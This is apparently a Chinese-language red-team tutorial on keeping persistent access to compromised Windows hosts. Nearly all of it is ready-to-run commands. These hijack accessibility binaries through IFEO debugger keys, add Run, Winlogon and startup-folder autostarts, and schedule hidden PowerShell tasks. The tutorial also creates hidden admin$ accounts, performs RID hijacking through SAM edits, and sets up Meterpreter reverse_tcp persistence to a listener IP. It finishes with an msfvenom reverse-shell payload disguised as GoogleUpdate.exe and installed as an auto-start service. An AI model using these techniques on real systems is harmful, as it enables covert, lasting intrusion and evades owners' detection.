Windows权限维持
Windows权限维持
hihopkc权限维持简介
为了保证获取到的目标权限不会因为漏洞的修复而丢失,攻击者通常会在目标上安装一个后门,来保证对目标的持久化控制。
系统工具替换后门
简介
Windows 的辅助功能提供了额外的选项(屏幕键盘,放大镜,屏幕阅读等),可以帮助特殊人士更容易地使用操作系统。
然而,这种功能可能会被滥用于在启用 RDP 并获得 Administrator 权限的主机上实现持久化访问。这种技术会接触磁盘,或者需要修改注册表来执行远程存储的 payload。
涉及到的注册表项为 IFEO(Image File Execution Options),默认是只有管理员和Localsystem有权读写修改。
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options |
原理
当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就可以正常运行。)会执行相关的选项参数,这里我们主要利用的参数是 debugger,通过该参数我们可以实现偷梁换柱。
- 常用辅助功能
- Shift(sethc)
- 屏幕键盘(osk)
- 辅助工具管理器(Utilman)
- 讲述人(Narrator)
例子
- IE
- 以修改IE启动程序为例,实现运行IE程序但是启动的却是cmd。
找到注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 目录下的 iexplore.exe
- 添加一个debugger字符串键值,并且赋值为 cmd.exe 的执行路径:
C:\Windows\system32\cmd.exe
- 运行 iexplore.exe
1 | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f |
- Narrator
劫持 Narrator 讲述人
1 | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options |
- Utilman
劫持辅助工具管理器
1 | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options |
- Notepad
实现原程序退出后静默运行后门程序。以执行 notepad 为例,退出后静默运行 calc.exe
1 | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 /f |
MonitorProcess
:表示监视器进程ReportingMode
:可以设置为以下三个值0x1
:LAUNCH_MONITORPROCESS
,检测到进程静默退出时,将会启动监视器进程,即MonitorProcess
的项值0x2
:LOCAL_DUMP
,检测到进程静默退出时,将会为受监视的进程创建转储文件0x3
:NOTIFICATION
,检查到进程静默退出时,将会弹出一个通知
Metasploit
Metasploit 框架提供了一个后渗透模块,可实现自动化地利用沾滞键的权限维持技术。
该模块将用 CMD 替换辅助功能的二进制文件(sethc, osk, disp, utilman)。
1 | use post/windows/manage/sticky_keys |
当目标主机的屏幕被锁定时,执行 osk 屏幕键盘工具将会打开一个具有 system 级别权限的命令提示符。
Meterpreter权限维持
Persistence模块
exploit/windows/local/persistence
Persistence
模块首先上传 vbs 脚本,然后执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
或HKLM\Software\Microsoft\Windows\CurrentVersion\Run
从而完成自启动。
1 | use exploit/windows/local/persistence |
1 | DELAY 10 yes 持久性有效载荷不断重新连接回来的延迟(秒)。 |
Autorunscript
获取shell的时候自动执行持续化脚本,可以被 Autorunscript 执行的命令目录在metasploit/scripts/meterpreter
。
- 命令参数
1 | meterpreter > run persistence -h |
- 使用方法
1 | run persistence -U -X -i 5 -P windows/x64/meterpreter/reverse_tcp -p 4444 -r 192.168.78.117 |
- persistence
1 | # persistence |
- migrate
1 | # migrate |
开机自启动注册表项
注册表的 HKEY_LOCAL_MACHINE 和 HKEY_CURRENT_USER 键的区别:前者对所有用户有效,后者只对当前用户有效
Run
每次系统启动时都会按顺序自动执行。是自动运行程序最常用的注册键。
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run |
RunOnce
安装程序通常用RunOnce键自动运行程序
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce |
RunServicesOnce
用来启动服务程序,启动时间再用户登录之前,而且先于其他通过注册键启动的程序
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce |
RunServices
RunServices指定的程序紧接RunServicesOnce指定的程序后运行,两者都是在用户登录之前
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices |
RunOnceSetup
指定了用户登录之后运行的程序
1 | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceSetup |
Load
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows |
建一个字符串名为load的键值,为自启动程序的路径,需要注意短文件名规则,如 c:\ProgramFiles 应为 c:\progra~1
Winlogon
1 | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon |
找到 Userinit 键值,默认为 C:\Windows\system32\userinit.exe, 后面加路径,再加逗号也可以。也能够使系统启动时自动初始化程序。比如:userinit.exe,OSA.exe
注意下面的 Notify、Shell 键值也会有自启动的程序,而且其键值可以用逗号分隔,从而实现登录的时候启动多个程序。
示例
使用生成的反弹shell的payload
- 在meterpreter下执行
1 | upload /root/nc.exe C:\\windows\\system32 |
在目标cmd下执行
1 | upload /root/nc.exe C:\\windows\\system32 |
Schtasks计划任务
Schtasks
创建test定时任务,每分钟执行一次5555.exe
1 | schtasks /create /sc MINUTE /mo 1 /tr C:\Users\Administrator\Desktop\6666.exe /tn test |
- 命令解析
1 | schtasks /create |
- 常用命令
1 | # 每分钟执行一次任务 |
schtasks命令详解: https://www.cnblogs.com/visoeclipse/archive/2009/08/29/1556240.html
Task-Powershell
schtasks+powershell
利用PowerShell启动时执行Get-Variable执行恶意文件
将恶意程序放在 %APPDATA%\Local\Microsoft\WindowsApps 目录下并重命名为 GetVariable.exe
创建计划任务实现持久化
1 | schtasks.exe /create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr "powershell.exe -windowstyle hidden" |
该命令创建计划任务程序 COMSurrogate
,该程序以隐藏的方式执行PowerShell
。而执行PowerShell
会启动恶意程序 Get-Variable.exe
,从而实现持久化。
原理:通过运行PowerShell
时触发执行 Get-variable
来实现攻击
快捷方式劫持
Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。快捷方式的文件扩展名是.LNK,它为红队提供了很多机会来执行各种格式的代码 exe、vbs、Powershell、scriptlet等。
1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'C:\phpstudy_pro\COM\phpstudy_pro.exe'; invoke-item c:\windows\system32\calc.exe" |
账户隐藏
隐藏用户
通过 net user 命令查看不到,但是在控制面板的管理账户界面可以查看到。
1 | net user admin$ AdminPassw0ad /add && net localgroup administrators admin$ /add |
激活 Guest 用户
1 | net user guest Admin@hacker && net localgroup administrators guest /add |
RID劫持
RID
Relative Identifier 相对标识符
Windows系统账户对应固定的RID:
1 | 500:Administrator |
SID
Security Identifiers 安全标识符
安全标识符用于唯一标识安全主体或安全组。 安全主体可以表示可由操作系统进行身份验证的任何实体,例如用户帐户、计算机帐户或在用户或计算机帐户的安全上下文中运行的线程或进程。
用户使用帐户名引用帐户,但是操作系统内部使用其安全标识符(SID)引用在帐户的安全上下文中运行的帐户和进程。对于域帐户,通过将域的SD与该帐户的相对标识符(RID)串联来创建安全主体的SID。SID在其范围内(域或本地)是唯一的,并且永不重用。
RID劫持
通过覆写注册表数据,可以在被攻击设备上劫持任意用户的RID,并将其分配给另外一个用户
- 被劫持账户没有启用的情况,依旧可以达到劫持效果
- 被分配的用户拥有被劫持用户的权限
- 被分配用户的操作会以被劫持用户的身份留存事件日志
对于Windows系统来说,注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下包含当前系统的所有账户列表,每个账户的默认键值对应账户详细信息的注册表位置(即RID的十六进制表示)
创建克隆 administrator 的账号,且通过命令 net user 以及控制面板中的管理账户无法看到。
- 用’$’创建匿名用户,并归到 administrators 用户组
1 | net user admin$ admin@123 /add /y |
- 将 administrator 用户对应的 Users 中的 F 值复制替换后门账户的 F 值
导出匿名用户对应的sam目录下的注册表键值:
regedt32.exe 打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 键值,导出 Names下用户目录以及对应的16进制目录。
注意:SAM 下的注册表选项需要获得 system 权限才能读取,因此需要给 Administrator 用户赋予SAM 键值权限,默认是不允许的。
或者直接修改 admin$ 用户的 F 值,把其中的 F2 03 修改为 F4 01 即可
导出 Users 下面的后门账户以及 Names下面的后门账户两个注册表文件。
通过命令删除刚才的后门用户
1 | net user admin$ /del |
- 通过注册表导入刚才导出的两个注册表文件
1 | regedit /s 1.reg |
用先前导出的注册表键值对注册表进行修改。则可以重新还原之前的匿名用户,但是除了在注册表里面有用户记录,其他地方都不存在用户的信息。
net user
或计算机管理里本地用户和用户组是看不到用户信息的,具有很好的隐蔽性质。
文件夹启动
在每次开机或重启的时候就会运行启动文件夹下的程序
1 | C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
服务后门
- msfvenom生成payload
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.58.144 lport=8989 -f exe-service -o GoogleUpdate.exe |
- sc创建一个GoogleUpdateService服务,执行我们上传的木马。
1 | sc create GoogleUpdateService binPath= "C:\Windows\temp\GoogleUpdate.exe" displayname="GoogleUpdateService" start= auto |
重启权限维持。